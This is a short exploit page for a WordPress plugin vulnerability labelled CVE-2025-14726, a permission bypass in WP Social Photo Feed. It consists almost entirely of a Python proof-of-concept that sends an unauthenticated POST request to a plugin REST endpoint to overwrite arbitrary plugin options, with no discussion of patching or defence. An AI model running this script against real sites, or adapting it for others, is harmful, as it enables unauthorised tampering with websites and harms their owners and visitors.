CVE-2025-14726: WP Social Photo Feed权限绕过

import requests # Target URL of the vulnerable endpoint # This endpoint is missing capability checks target_url = "http://example.com/wp-json/trustindex_feed_hook_instagram/submit-data" # Payload to modify plugin settings arbitrarily payload = { "option_name": "some_plugin_option", "option_value": "malicious_value" } try: # Send unauthenticated POST request response = requests.post(target_url, json=payload, timeout=10) # Check if the request was successful (HTTP 200) if response.status_code == 200: print("[+] Successfully exploited the vulnerability!") print("[+] Response from server:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")